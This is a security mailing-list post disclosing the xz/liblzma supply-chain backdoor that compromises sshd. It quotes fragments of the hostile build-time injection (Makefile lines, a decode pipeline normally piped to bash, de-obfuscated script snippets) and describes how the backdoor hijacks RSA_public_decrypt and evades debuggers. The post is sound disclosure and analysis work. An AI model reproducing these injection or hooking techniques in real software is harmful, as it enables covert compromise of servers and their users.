security - backdoor in upstream xz/liblzma leading to ssh server compromise

- Products
  - Openwall GNU/*/Linux *server OS*
  - Linux Kernel Runtime Guard
  - John the Ripper *password cracker*
    - Free & Open Source for any platform
    - in the cloud
    - Pro for Linux
    - Pro for macOS
  - Wordlists *for password cracking*
  - passwdqc *policy enforcement*
    - Free & Open Source for Unix
    - Pro for Windows (Active Directory)
  - yescrypt *KDF & password hashing*
  - yespower *Proof-of-Work (PoW)*
  - crypt_blowfish *password hashing*
  - phpass *ditto in PHP*
  - tcb *better password shadowing*
  - Pluggable Authentication Modules
  - scanlogd *port scan detector*
  - popa3d *tiny POP3 daemon*
  - blists *web interface to mailing lists*
  - msulogin *single user mode login*
  - php_mt_seed *mt_rand() cracker*
- Services
- Publications
  - Articles
  - Presentations
- Resources
  - Mailing lists
  - Community wiki
  - Source code repositories (GitHub)
  - File archive & mirrors
  - How to verify digital signatures
  - OVE IDs

- What's new

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de>
Date: Fri, 29 Mar 2024 08:51:26 -0700
From: Andres Freund <andres@...razel.de>
To: oss-security@...ts.openwall.com
Subject: backdoor in upstream xz/liblzma leading to ssh server compromise

Hi,

After observing a few odd symptoms around liblzma (part of the xz package) on
Debian sid installations over the last weeks (logins with ssh taking a lot of
CPU, valgrind errors) I figured out the answer:

The upstream xz repository and the xz tarballs have been backdoored.

At first I thought this was a compromise of debian's package, but it turns out
to be upstream.

== Compromised Release Tarball ==

One portion of the backdoor is *solely in the distributed tarballs*. For
easier reference, here's a link to debian's import of the tarball, but it is
also present in the tarballs for 5.6.0 and 5.6.1:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L

That line is *not* in the upstream source of build-to-host, nor is
build-to-host used by xz in git. However, it is present in the tarballs
released upstream, except for the "source code" links, which I think github
generates directly from the repository contents:

https://github.com/tukaani-project/xz/releases/tag/v5.6.0
https://github.com/tukaani-project/xz/releases/tag/v5.6.1

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

This script is executed and, if some preconditions match, modifies
$builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz

```
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
```

which ends up as

```
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "        \-_" "         _\-" | xz -d
```

Leaving out the "| bash" that produces

```
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +204
####World####
```

After de-obfuscation this leads to the attached injected.txt.

== Compromised Repository ==

The files containing the bulk of the exploit are in an obfuscated form in
  tests/files/bad-3-corrupt_lzma2.xz
  tests/files/good-large_compressed.lzma
committed upstream. They were initially added in
https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.

Subsequently the injected code (more about that below) caused valgrind errors
and crashes in some configurations, due the stack layout differing from what
the backdoor was expecting. These issues were attempted to be worked around
in 5.6.1:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:
https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly
involved or there was some quite severe compromise of their
system. Unfortunately the latter looks like the less likely explanation, given
they communicated on various lists about the "fixes" mentioned above.

Florian Weimer first extracted the injected code in isolation, also attached,
liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!

== Affected Systems ==

The attached de-obfuscated script is invoked first after configure, where it
decides whether to modify the build process to inject the code.

These conditions include targeting only x86-64 linux:

```
    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-g
```

Building with gcc and the gnu linker

```
    if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
    exit 0
    fi
    if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
    exit 0
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
    exit 0
```

Running as part of a debian or RPM package build:

```
    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
```

Particularly the latter is likely aimed at making it harder to reproduce the
issue for investigators.

Due to the working of the injected code (see below), it is likely the backdoor
can only work on glibc based systems.

Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
distributions, and where they have, mostly in pre-release versions.

== Observing Impact on openssh server ==

With the backdoored liblzma installed, logins via ssh become a lot slower.

```
time ssh nonexistant@...alhost

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real    0m0.299s
user    0m0.202s
sys     0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real    0m0.807s
user    0m0.202s
sys     0m0.006s


openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd
does depend on lzma.


Initially starting sshd outside of systemd did not show the slowdown, despite
the backdoor briefly getting invoked. This appears to be part of some
countermeasures to make analysis harder.

Observed requirements for the exploit:
a) TERM environment variable is not set
b) argv[0] needs to be /usr/sbin/sshd
c) LD_DEBUG, LD_PROFILE are not set
d) LANG needs to be set
e) Some debugging environments, like rr, appear to be detected. Plain gdb
   appears to be detected in some situations, but not others

To reproduce outside of systemd, the server can be started with a clear
environment, setting only the required variable:

env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D


In fact, openssh does not need to be started as a server to observe the
slowdown:

slow:
env -i LANG=C /usr/sbin/sshd -h
```

```
(about 0.5s on my older system)


fast:
env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
...

(about 0.01s on the same system)


It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
are obviously lots of servers linking to libsystemd.


== Analyzing the injected code ==

I am *not* a security researcher, nor a reverse engineer.  There's lots of
stuff I have not analyzed and most of what I observed is purely from
observation rather than exhaustively analyzing the backdoor code.

To analyze I primarily used "perf record -e intel_pt//ub" to observe where
execution diverges between the backdoor being active and not. Then also gdb,
setting breakpoints before the divergence.


The backdoor initially intercepts execution by replacing the ifunc resolvers
crc32_resolve(), crc64_resolve() with different code, which calls
_get_cpuid(), injected into the code (which previously would just be static
inline functions).  In xz 5.6.1 the backdoor was further obfuscated, removing
symbol names.

These functions get resolved during startup, because sshd is built with
-Wl,-z,now, leading to all symbols being resolved early. If started with
LD_BIND_NOT=1 the backdoor does not appear to work.


Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
'completed' variable is 0 and increments it, returning the normal cpuid result
(via a new _cpuid()). It gets to be more interesting during crc64_resolve().

In the second invocation crc64_resolve() appears to find various information,
like data from the dynamic linker, program arguments and environment. Then it
perform various environment checks, including those above. There are other
checks I have not fully traced.
```

If the above decides to continue, the code appears to be parsing the symbol
tables in memory. This is the quite slow step that made me look into the issue.

Notably liblzma's symbols are resolved before many of the other libraries,
including the symbols in the main sshd binary. This is important because
symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.

To be able to resolve symbols in libraries that have not yet loaded, the
backdoor installs an audit hook into the dynamic linker, which can be observed
with gdb using
  watch _rtld_global_ro._dl_naudit
It looks like the audit hook is only installed for the main binary.

That hook gets called, from _dl_audit_symbind, for numerous symbols in the
main binary. It appears to wait for "RSA_public_decrypt@....plt" to be
resolved. When called for that symbol, the backdoor changes the value of
RSA_public_decrypt@....plt to point to its own code. It does not do this via
the audit hook mechanism, but outside of it.

For reasons I do not yet understand, it does change sym.st_value *and* the
return value of from the audit hook to a different value, which leads
_dl_audit_symbind() to do nothing - why change anything at all then?

After that the audit hook is uninstalled again.

It is possible to change the got.plt contents at this stage because it has not
(and can't yet) been remapped to be read-only.

I suspect there might be further changes performed at this stage.

== Impact on sshd ==

The prior section explains that RSA_public_decrypt@....plt was redirected to
point into the backdoor code. The trace I was analyzing indeed shows that
during a pubkey login the exploit code is invoked:

```
            sshd 1736357 [010] 714318.734008:          1  branches:uH:      5555555ded8c ssh_rsa_ver
```

The backdoor then calls back into libcrypto, presumably to perform normal authentication

```
            sshd 1736357 [010] 714318.734009:          1  branches:uH:      7ffff7c137cd [unknown] (
```

```
I have not yet analyzed precisely what is being checked for in the injected
code, to allow unauthorized access. Since this is running in a
pre-authentication context, it seems likely to allow some form of access or
other form of remote code execution.

I'd upgrade any potentially vulnerable system ASAP.


== Bug reports ==

Given the apparent upstream involvement I have not reported an upstream
bug. As I initially thought it was a debian specific issue, I sent a more
preliminary report to security@...ian.org.  Subsequently I reported the issue
to distros@. CISA was notified by a distribution.

Red Hat assigned this issue CVE-2024-3094.


== Detecting if installation is vulnerable ==

Vegard Nossum wrote a script to detect if it's likely that the ssh binary on a
system is vulnerable, attached here. Thanks!


Greetings,

Andres Freund

View attachment "injected.txt" of type "text/plain" (8236 bytes)

Download attachment "liblzma_la-crc64-fast.o.gz" of type "application/gzip" (36487 bytes)

Download attachment "detect.sh" of type "application/x-sh" (426 bytes)
```
